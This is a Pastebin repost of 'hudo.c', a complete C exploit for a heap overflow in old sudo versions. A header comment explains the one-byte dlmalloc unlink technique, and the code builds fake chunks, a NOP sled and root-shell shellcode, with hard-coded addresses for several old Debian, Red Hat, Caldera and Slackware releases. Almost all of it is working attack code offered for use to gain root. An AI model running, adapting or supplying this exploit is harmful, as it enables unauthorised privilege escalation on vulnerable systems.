ZmEu

hudo.c - sudo attacker! VERY OLD code but VERY good infos!!

Mar 2nd, 2011
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * Hudo versus Linux/Intel Sudo - OLD but has some very handy code...
  3.  * "Another object superstitiously believed to embody magical powers"
  4.  * Copyright (C) 2001 MaXX
  5.  * Okay.. I discovered a vulnerability in Sudo while I was working on
  6.  * the Vudo exploit. All Sudo versions are vulnerable, even the latest
  7.  * one. In the file check.c, function expand_prompt(), the author forgot
  8.  * to reset the lastchar variable in the second loop. So if the last
  9.  * character of the prompt (controlled by the attacker) is a '%', and if
  10.  * the first character of the prompt is a 'u' or a 'h', the attacker can
  11.  * trick expand_prompt() into performing an additional escape.
  12.  * But there was not enough memory allocated for this additional escape,
  13.  * so the attacker effectively overflowed the new_prompt buffer (but the
  14.  * severity of the overflow depends on the length of the username or
  15.  * hostname). Quite a weird vulnerability.
  16.  * After a lot of research, I managed to exploit the bug.. the attacker
  17.  * does not even need to know the password of the user used to run the
  18.  * exploit (unlike the Vudo exploit.. exploiting the bug via nobody or
  19.  * www-data works fine now). I transformed the whole overflow into a
  20.  * one-byte heap overflow, which in this case was hard to exploit, but
  21.  * was actually exploitable, and I managed to exploit the bug 7 times
  22.  * out of the.. 7 times I tried the exploit.
  23.  * I wrote the most important comments in the hudo.c file, but will
  24.  * explain the main technique, and also the most reliable way to find
  25.  * out the two command line values needed in order to obtain a root
  26.  * shell. BTW.. if you manage to exploit Sudo on other Linux/Intel
  27.  * architectures, please update hudo.c and let me know.. thank you.
  28.  * Imagine you have a hole somewhere in the heap.. you store the
  29.  * new_prompt buffer (whose size corresponds to the third command line
  30.  * parameter of the Hudo exploit), which will be overflowed, at the
  31.  * beginning of this hole. Now imagine that after new_prompt was stored
  32.  * at the beginning of the hole, the size of the last_remainder chunk
  33.  * (the rest of the hole) is equal to (0x100+16) bytes. If we overwrite
  34.  * the LSByte of this size field with a NUL byte during the one-byte
  35.  * overflow, the size of the last_remainder chunk will become 0x100.
  36.  * Now imagine buffers are allocated within the apparent 0x100 bytes
  37.  * of the last_remainder chunk, and imagine the hole is finally filled
  38.  * with a last allocated buffer. dlmalloc will be tricked into believing
  39.  * that the beginning of the next contiguous allocated chunk is located
  40.  * immediately after the end of that last allocated buffer, whereas
  41.  * it is in fact located 16 bytes after the end of the last allocated
  42.  * buffer (dlmalloc is fooled because we transformed (0x100+16) into
  43.  * 0x100).
  44.  * So if the last allocated buffer is free()d, dlmalloc will try to
  45.  * unlink() the next contiguous chunk, and will read an imaginary
  46.  * boundary tag located within the aforementioned 16 bytes, where of
  47.  * course the Hudo exploit stored a fake boundary tag (via the malloc()
  48.  * and free() of a huge buffer (whose size corresponds to the second
  49.  * command line parameter of the Hudo exploit) filled with fake boundary
  50.  * tags).
  51.  * That's all, folks :) Try $((16392-8)) for cmnd_args_size, and
  52.  * $((16392-8-256-16)) for sudo_prompt_size, it will work most of the
  53.  * time. If it does not work, a brute force or guess process is needed..
  54.  * -- MaXX
  55.  */
  56. #include <netdb.h>
  57. #include <pwd.h>
  58. #include <stdio.h>
  59. #include <stdlib.h>
  60. #include <string.h>
  61. #include <sys/param.h>
  62. #include <sys/types.h>
  63. #include <sys/wait.h>
  64. #include <unistd.h>
  65.  
  66. /*
  67.  * Code ripped from the malloc.c file shipped with the GNU C Library.
  68.  */
  69. typedef struct malloc_chunk {
  70.     size_t prev_size;
  71.     size_t size;
  72.     struct malloc_chunk * fd;
  73.     struct malloc_chunk * bk;
  74. } * mchunkptr;
  75.  
  76. #define SIZE_SZ sizeof(size_t)
  77. #define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
  78. #define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
  79. #define MINSIZE sizeof(struct malloc_chunk)
  80.  
  81. size_t request2size( size_t request ) {
  82.     size_t size;
  83.     size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
  84.     if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
  85.        size = MINSIZE;
  86.    } else {
  87.        size &= ~MALLOC_ALIGN_MASK;
  88.    }
  89.    return( size );
  90. }
  91.  
  92. /*
  93.  * Info concerning the architectures exploited by Hudo:
  94.  * - description: a string describing the target architecture;
  95.  * - fqdn: a boolean flag indicating whether or not fully-qualified
  96.  * hostnames are required in the sudoers file (run `sudo -V' as root in
  97.  * order to find out);
  98.  * - function_pointer: the address of the function pointer overwritten
  99.  * by the exploit.. the malloc or free GOT entry should be okay (run
  100.  * `objdump -R sudo | grep malloc' for example);
  101.  * - code_address: the 2^16 bytes heap area where the SHELL environment
  102.  * variable is estrdup()ed by Sudo.. for example, if estrdup() returns
  103.  * 0x08061242, code_address should be equal to 0x08060000;
  104.  * sudo: the complete path to the Sudo binary.. should be equal to
  105.  * "/usr/bin/sudo" almost everywhere.
  106.  */
  107.  
  108. typedef struct architecture_s {
  109.    char * description;
  110.    int fqdn;
  111.    char * function_pointer;
  112.    char * code_address;
  113.    char * sudo;
  114. } architecture_t;
  115.  
  116. #define FALSE 0
  117. #define TRUE 1
  118.  
  119. architecture_t architectures[] = {
  120.    {
  121.        /* Thank you dethy */
  122.        "Caldera OpenLinux Desktop 4.2 (Sudo version 1.6.3p5-1)",
  123.        TRUE,
  124.        (char *)0x0805bdcc,
  125.        (char *)0x08060000,
  126.        "/usr/bin/sudo"
  127.    },
  128.    {
  129.        "Debian GNU/Linux 2.2 (Sudo version 1.6.2p2-2)",
  130.        TRUE,
  131.        (char *)0x0805c1b0,
  132.        (char *)0x08060000,
  133.        "/usr/bin/sudo"
  134.    },
  135.    {
  136.        "Debian GNU/Linux 2.2 (Sudo version 1.6.2p2-2.1)",
  137.        TRUE,
  138.        (char *)0x0805c1b0,
  139.        (char *)0x08060000,
  140.        "/usr/bin/sudo"
  141.    },
  142.    {
  143.        "Debian GNU/Linux 2.3 (Sudo version 1.6.3p7-2)",
  144.        TRUE,
  145.        (char *)0x0805bd50,
  146.        (char *)0x08060000,
  147.        "/usr/bin/sudo"
  148.    },
  149.    {
  150.        "Debian GNU/Linux 2.3 (Sudo version 1.6.3p7-5)",
  151.        TRUE,
  152.        (char *)0x0805be10,
  153.        (char *)0x08050000,
  154.        "/usr/bin/sudo"
  155.    },
  156.    {
  157.        "Red Hat Linux release 6.2 (Sudo version sudo-1.6.1-1)",
  158.        FALSE,
  159.        (char *)0x0805bf78,
  160.        (char *)0x08060000,
  161.        "/usr/bin/sudo"
  162.    },
  163.    {
  164.        "Red Hat Linux release 6.2 (Sudo version sudo-1.6.3p6-0.6x)",
  165.        FALSE,
  166.        (char *)0x0805bd6c,
  167.        (char *)0x08060000,
  168.        "/usr/bin/sudo"
  169.    },
  170.    {
  171.        /* Thank you Scrippie */
  172.        "Red Hat Linux release 7.0 (Sudo version 1.6.3-4)",
  173.        FALSE,
  174.        (char *)0x0805c7ac,
  175.        (char *)0x08060000,
  176.        "/usr/bin/sudo"
  177.    },
  178.    {
  179.        /* Thank you Scrippie (bis :) */
  180.        "Red Hat Linux release 7.0 (Sudo version 1.6.3p6-1)",
  181.        FALSE,
  182.        (char *)0x0805c5cc,
  183.        (char *)0x08060000,
  184.        "/usr/bin/sudo"
  185.    },
  186.    {
  187.        /* Thank you dethy (bis ;) */
  188.        "Red Hat Linux release 7.1 (Sudo version 1.6.3p6-1)",
  189.        FALSE,
  190.        (char *)0x0805c5cc,
  191.        (char *)0x08060000,
  192.        "/usr/bin/sudo"
  193.    },
  194.    {
  195.        /* By Eds and Dexter_Man */
  196.        "Red Hat Linux release 7.2",
  197.        FALSE,
  198.        (char *)0x0805c490,
  199.        (char *)0x08060000,
  200.        "/usr/bin/sudo"
  201.    },
  202.    {
  203.        /* By Eds and Dexter_Man */
  204.        "Red Hat Linux release 7.3",
  205.        FALSE,
  206.        (char *)0x0805c528,
  207.        (char *)0x08060000,
  208.        "/usr/bin/sudo"
  209.    },
  210.  
  211. { /* By dexter_man and EDS */
  212. "Slackware 8.0 (sudo version 1.6.3p7)",
  213. FALSE,
  214. (char *) 0x805b940,
  215. (char *)0x08060000,
  216. "/usr/bin/sudo"
  217. }
  218. };
  219.  
  220. #define SUDO_ARGV 4
  221. #define SUDO_ENVP 3
  222.  
  223. typedef struct hudo_s {
  224.    architecture_t * p_architecture;
  225.    size_t cmnd_args_size;
  226.    size_t sudo_prompt_size;
  227.    char * user_name;
  228.    char * user_shost;
  229.    char escape_specifier;
  230.    size_t escaped_size;
  231.    char * sudo_argv[ SUDO_ARGV ];
  232.    char * sudo_envp[ SUDO_ENVP ];
  233. } hudo_t;
  234.  
  235. int user_name( hudo_t * p_hudo ) {
  236.    struct passwd * pw;
  237.    fputs( "[+] Looking for user_name: ", stderr );
  238.    pw = getpwuid( getuid() );
  239.    if ( pw == NULL ) {
  240.        perror( "\n[-] getpwuid()" );
  241.        return( -1 );
  242.    }
  243.    p_hudo->user_name = pw->pw_name;
  244.     fprintf( stderr, "\"%s\"\n", p_hudo->user_name );
  245.     return( 0 );
  246. }
  247. /*
  248.  * The size of a malloc chunk is always equal to a multiple of 8 bytes..
  249.  * the minimum number of bytes needed in order to pad a user's request
  250.  * is therefore equal to 0, the maximum number of bytes is equal to 7.
  251.  */
  252.  
  253. #define MIN_MALLOC_PADDING 0
  254. #define MAX_MALLOC_PADDING MALLOC_ALIGN_MASK
  255.  
  256. /*
  257.  * ESCAPE_SIZE is the length of the escape strings used by
  258.  * expand_prompt() ("%u" or "%h").
  259.  */
  260.  
  261. #define ESCAPE_SIZE 2
  262.  
  263. /*
  264.  * Since expand_prompt() allocated memory in order to store a weird
  265.  * escape string ("%u" or "%h"), but since the weird escape string was
  266.  * in fact replaced with another string (the username or the hostname),
  267.  * the username or hostname has to cover the size (ESCAPE_SIZE) of the
  268.  * weird escape string, the malloc padding, and the least significant
  269.  * byte of the size field associated with the next contiguous malloc
  270.  * chunk, in order to perform a *one-byte* heap overflow.
  271.  * The minimum size of the username or hostname is therefore equal to 3
  272.  * bytes, the maximum size is equal to 10 bytes (should work on almost
  273.  * every computer.. at least it will work with nobody and www-data (no
  274.  * password is needed in order to successfully exploit Sudo)).
  275.  */
  276. #define MIN_ESCAPED_SIZE ( (MIN_MALLOC_PADDING + 1) + ESCAPE_SIZE )
  277. #define MAX_ESCAPED_SIZE ( (MAX_MALLOC_PADDING + 1) + ESCAPE_SIZE )
  278.  
  279. int escaped_size( hudo_t * p_hudo ) {
  280.     if ( p_hudo->escaped_size < MIN_ESCAPED_SIZE ) {
  281.        return( -1 );
  282.    }
  283.    if ( p_hudo->escaped_size > MAX_ESCAPED_SIZE ) {
  284.         return( -1 );
  285.     }
  286.     return( 0 );
  287. }
  288.  
  289. /*
  290.  * Computation of the user_shost variable, ripped from Sudo, file
  291.  * sudo.c, function init_vars().
  292.  */
  293. int user_shost( hudo_t * p_hudo ) {
  294.     char thost[ MAXHOSTNAMELEN ];
  295.     char * user_host;
  296.     struct hostent * hp;
  297.     char * p;
  298.     if ( gethostname(thost, sizeof(thost)) ) {
  299.         user_host = "localhost";
  300.     } else {
  301.         user_host = strdup( thost );
  302.         if ( user_host == NULL ) {
  303.             return( -1 );
  304.         }
  305.     }
  306.     if ( p_hudo->p_architecture->fqdn ) {
  307.         if ( (hp = gethostbyname(user_host)) ) {
  308.             user_host = strdup( hp->h_name );
  309.             if ( user_host == NULL ) {
  310.                 return( -1 );
  311.             }
  312.         }
  313.     }
  314.     if ( (p = strchr(user_host, '.')) ) {
  315.         *p = '\0';
  316.         p_hudo->user_shost = strdup( user_host );
  317.         if ( p_hudo->user_shost == NULL ) {
  318.             return( -1 );
  319.         }
  320.     } else {
  321.         p_hudo->user_shost = user_host;
  322.     }
  323.     return( 0 );
  324. }
  325.  
  326. int escape_specifier_and_escaped_size( hudo_t * p_hudo ) {
  327.     fputs( "[+] Determining escape_specifier and escaped_size: ", stderr
  328. );
  329.     p_hudo->escape_specifier = 'u';
  330.     p_hudo->escaped_size = strlen( p_hudo->user_name );
  331.     if ( escaped_size(p_hudo) ) {
  332.         p_hudo->escape_specifier = 'h';
  333.         if ( user_shost(p_hudo) ) {
  334.             fputs( "\n[-] user_shost()\n", stderr );
  335.             return( -1 );
  336.         }
  337.         p_hudo->escaped_size = strlen( p_hudo->user_shost );
  338.         if ( escaped_size(p_hudo) ) {
  339.             fputs( "\n[-] escaped_size()\n", stderr );
  340.             return( -1 );
  341.         }
  342.     }
  343.     fprintf( stderr, "'%c' and %u bytes\n", p_hudo->escape_specifier,
  344.         p_hudo->escaped_size );
  345.     return( 0 );
  346. }
  347.  
  348. #define SUDO_CMND "/chocolate/starfishstiqz/and/the/hot/dog/flavored/water"
  349.  
  350. #define DUMMY_CHARACTER 'B'
  351. #define DUMMY_PREV_SIZE 0xdefaced
  352.  
  353. /*
  354.  * A lot of NOPs (2^16 bytes) are stored in the heap (in order to bypass
  355.  * Openwall) before the actual shellcode, in order to reliably exploit
  356.  * the code_address value given in the architectures array, and in order
  357.  * to provide a large memory area filled with even 4 bytes integers (see
  358.  * below).
  359.  */
  360.  
  361. #define NOPS_SIZE 0x10000
  362.  
  363. /*
  364.  * A special, even (0x08eb9090 is an even integer.. an even integer is
  365.  * needed in order to provide a memory area filled with 4 bytes integers
  366.  * whose PREV_INUSE bits are clear), Intel NOP, capable of skipping the
  367.  * 4 garbage bytes introduced at offset 8 by the unlink() exploitation
  368.  * technique.
  369.  */
  370. #define NOP "\x90\x90\xeb\x08"
  371. #define NOP_SIZE (sizeof(NOP)-1)
  372. #define BK_OFFSET (sizeof(size_t) + sizeof(size_t) + sizeof(mchunkptr))
  373.  
  374. int sudo_argv( hudo_t * p_hudo ) {
  375.     unsigned int ui;
  376.     size_t args_size;
  377.     char * args;
  378.     fputs( "[+] Building sudo_argv..\n", stderr );
  379.     ui = 0;
  380.     p_hudo->sudo_argv[ ui++ ] = p_hudo->p_architecture->sudo;
  381.     p_hudo->sudo_argv[ ui++ ] = SUDO_CMND;
  382.     args_size = p_hudo->cmnd_args_size - ( sizeof(SUDO_CMND) + SIZE_SZ );
  383.     args = malloc( args_size );
  384.     if ( args == NULL ) {
  385.         perror( "[-] malloc()" );
  386.         return( -1 );
  387.     }
  388.     p_hudo->sudo_argv[ ui++ ] = args;
  389.     p_hudo->sudo_argv[ ui ] = NULL;
  390.     memset( args, DUMMY_CHARACTER, (args_size - SIZE_SZ) % MINSIZE );
  391.     args += ( args_size - SIZE_SZ ) % MINSIZE;
  392.     for ( ui = 0; ui < (args_size - SIZE_SZ) / MINSIZE; ui++ ) {
  393.        ( (mchunkptr)args )->prev_size = DUMMY_PREV_SIZE;
  394.         ( (mchunkptr)args )->size = -NOPS_SIZE - NOP_SIZE;
  395.         ( (mchunkptr)args )->fd = (mchunkptr)(
  396.             p_hudo->p_architecture->function_pointer - BK_OFFSET
  397.         );
  398.         ( (mchunkptr)args )->bk = (mchunkptr)(
  399.             p_hudo->p_architecture->code_address + NOPS_SIZE - NOP_SIZE
  400.         );
  401.         args += MINSIZE;
  402.     }
  403.     *args++ = DUMMY_CHARACTER;
  404.     *args++ = DUMMY_CHARACTER;
  405.     *args++ = DUMMY_CHARACTER;
  406.     *args = '\0';
  407.     return( 0 );
  408. }
  409.  
  410. #define SHELL_KEY "SHELL"
  411. #define SUDO_PROMPT_KEY "SUDO_PROMPT"
  412.  
  413. char shellcode[] =
  414.     /* "\xeb\x08" fodder */
  415.     "\x90\x90\x90\x90\x90\x90\x90\x90"
  416.     /* setuid(0); */
  417.     "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
  418.     /* setgid(0); */
  419.     "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
  420.     /* execve("/bin/sh", {"/bin/sh", NULL}, NULL); */
  421.     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  422.     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  423.     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  424.  
  425. #define SHELLCODE_SIZE ( sizeof(shellcode)-1 )
  426. #define ESCAPE_CHARACTER '%'
  427. #define DUMMY_STRING "Please type Control-D.. "
  428. #define DUMMY_STRING_SIZE ( sizeof(DUMMY_STRING)-1 )
  429.  
  430. int sudo_envp( hudo_t * p_hudo ) {
  431.     unsigned int ui;
  432.     char * shell;
  433.     size_t sudo_prompt_padding;
  434.     char * sudo_prompt;
  435.     size_t size;
  436.     fputs( "[+] Building sudo_envp..\n", stderr );
  437.     ui = 0;
  438.     shell = malloc(sizeof(SHELL_KEY"=") + NOPS_SIZE +SHELLCODE_SIZE);
  439.     if ( shell == NULL ) {
  440.         perror( "[-] malloc()" );
  441.         return( -1 );
  442.     }
  443.     p_hudo->sudo_envp[ ui++ ] = shell;
  444.     /*
  445.      * sudo_prompt_padding was obtained via the following equation:
  446.      * escaped_size + escaped_size + sudo_prompt_padding + 1 + 1 =
  447.      * 1 + ( sudo_prompt_size - SIZE_SZ ) + 1
  448.      */
  449.     sudo_prompt_padding = ( p_hudo->sudo_prompt_size - SIZE_SZ ) - 2 * p_hudo->escaped_size;
  450.     sudo_prompt = malloc( sizeof(SUDO_PROMPT_KEY"=") + ESCAPE_SIZE + sudo_prompt_padding + ESCAPE_SIZE );
  451.     if ( sudo_prompt == NULL ) {
  452.     perror( "[-] malloc()" );
  453.     return( -1 );
  454.     }
  455.     p_hudo->sudo_envp[ ui++ ] = sudo_prompt;
  456.     p_hudo->sudo_envp[ ui ] = NULL;
  457.     memcpy( shell, SHELL_KEY"=", sizeof(SHELL_KEY) );
  458.     shell += sizeof(SHELL_KEY);
  459.     for ( size = 0; size < NOPS_SIZE / NOP_SIZE; size++ ) {
  460.    memcpy( shell, NOP, NOP_SIZE );
  461.    shell += NOP_SIZE;
  462.    }
  463.    memcpy(shell, shellcode, SHELLCODE_SIZE);
  464.    shell += SHELLCODE_SIZE;
  465.    *shell = '\0';
  466.    memcpy(sudo_prompt, SUDO_PROMPT_KEY"=", sizeof(SUDO_PROMPT_KEY));
  467.    sudo_prompt += sizeof(SUDO_PROMPT_KEY);
  468.    *sudo_prompt++ = p_hudo->escape_specifier;
  469.     *sudo_prompt++ = ESCAPE_CHARACTER;
  470.     *sudo_prompt++ = p_hudo->escape_specifier;
  471.     memcpy( sudo_prompt,DUMMY_STRING+(DUMMY_STRING_SIZE - sudo_prompt_padding%DUMMY_STRING_SIZE),sudo_prompt_padding % DUMMY_STRING_SIZE);
  472.     sudo_prompt += sudo_prompt_padding % DUMMY_STRING_SIZE;
  473.     for (ui = 0; ui < sudo_prompt_padding/DUMMY_STRING_SIZE; ui++) {
  474.    memcpy( sudo_prompt, DUMMY_STRING, DUMMY_STRING_SIZE );
  475.    sudo_prompt += DUMMY_STRING_SIZE;
  476.    }
  477.    *sudo_prompt++ = ESCAPE_CHARACTER;
  478.    *sudo_prompt = '\0';
  479.    return( 0 );
  480. }
  481.  
  482. #define SURE_KILL_ARGV 3
  483. #define SURE_KILL_OPTION "-K"
  484.  
  485. /*
  486.  * In order to systematically trick Sudo into calling the verify_user()
  487.  * function, `sudo -K' (removes the user's timestamp entirely) should
  488.  * always be executed before the effective exploitation process is
  489.  * carried out.. moreover it will provide some pleasant visual effect ;)
  490.  */
  491. int sure_kill(hudo_t * p_hudo) {
  492.    unsigned int sure_kill_argv_index = 0;
  493.    char * sure_kill_argv[ SURE_KILL_ARGV ];
  494.    pid_t fork_pid;
  495.    pid_t wait_pid;
  496.    fputs( "[+] Removing the user's timestamp entirely..\n", stderr );
  497.    sure_kill_argv[ sure_kill_argv_index++ ] =
  498. p_hudo->p_architecture->sudo;
  499.     sure_kill_argv[ sure_kill_argv_index++ ] = SURE_KILL_OPTION;
  500.     sure_kill_argv[ sure_kill_argv_index ] = NULL;
  501.     fork_pid = fork();
  502.     if ( fork_pid < 0 ) {
  503.        perror( "[-] fork()" );
  504.        return( -1 );
  505.    } else {
  506.        if ( fork_pid == 0 ) {
  507.            execve( sure_kill_argv[0], sure_kill_argv, NULL );
  508.            perror( "[-] execve()" );
  509.            return( -1 );
  510.        } else {
  511.            wait_pid = wait( NULL );
  512.            if ( wait_pid != fork_pid ) {
  513.    perror( "[-] wait()" );
  514.    return( -1 );
  515.    }
  516.    }
  517.    }
  518.    return(0);
  519. }
  520.  
  521. void usage(char *hudo) {
  522.    unsigned char uc;
  523.    fputs("[+] Usage:\n", stderr);
  524.    fprintf(stderr, "[-] %s Architecture cmnd_args_size,sudo_prompt_size\n",hudo);
  525.    fputs("\n", stderr);
  526.    fputs("[+] Architectures:\n", stderr);
  527.    for (uc = 0; uc < sizeof(architectures) / sizeof(architecture_t); uc++) {
  528. fprintf(stderr, "[-] 0x%02x: %s\n", uc,architectures[uc].description);
  529.    }
  530. }
  531.  
  532. int main( int argc, char * argv[] ) {
  533.    unsigned long ul;
  534.    hudo_t hudo;
  535.    fputs( "[+] Hudo versus Linux/Intel Sudo\n", stderr );
  536.    fputs( "\n", stderr );
  537.    if ( argc != 4 ) {
  538.    usage( argv[0] == NULL ? "hudo" : argv[0] );
  539.    return( -1 );
  540.    }
  541.    ul = strtoul( argv[1], NULL, 0 );
  542.    if ( ul >= sizeof(architectures) / sizeof(architecture_t) ) {
  543.     usage( argv[0] );
  544.     return( -1 );
  545.     }
  546.     hudo.p_architecture = &( architectures[ul] );
  547.     ul = strtoul( argv[2], NULL, 0 );
  548.     if ( ul % MALLOC_ALIGNMENT || ul < MINSIZE ) {
  549.    usage( argv[0] );
  550.    return( -1 );
  551.    }
  552.    hudo.cmnd_args_size = ul;
  553.    ul = strtoul( argv[3], NULL, 0 );
  554.    if ( ul % MALLOC_ALIGNMENT || ul < MINSIZE ) {
  555.    usage( argv[0] );
  556.    return( -1 );
  557.    }
  558.    hudo.sudo_prompt_size = ul;
  559.    if ( user_name(&hudo) ) {
  560.        return( -1 );
  561.    }
  562.    if ( escape_specifier_and_escaped_size(&hudo) ) {
  563.    return( -1 );
  564.    }
  565.    if ( sudo_argv(&hudo) ) {
  566.    return( -1 );
  567.    }
  568.    if ( sudo_envp(&hudo) ) {
  569.    return( -1 );
  570.    }
  571.    if ( sure_kill(&hudo) ) {
  572.    return( -1 );
  573.    }
  574.    fputs( "[+] Executing sudo..\n", stderr );
  575.    execve( hudo.sudo_argv[0], hudo.sudo_argv, hudo.sudo_envp );
  576.    perror( "[-] execve()" );
  577.    return( -1 );
  578. }
Advertisement
Add Comment
Please, Sign In to add comment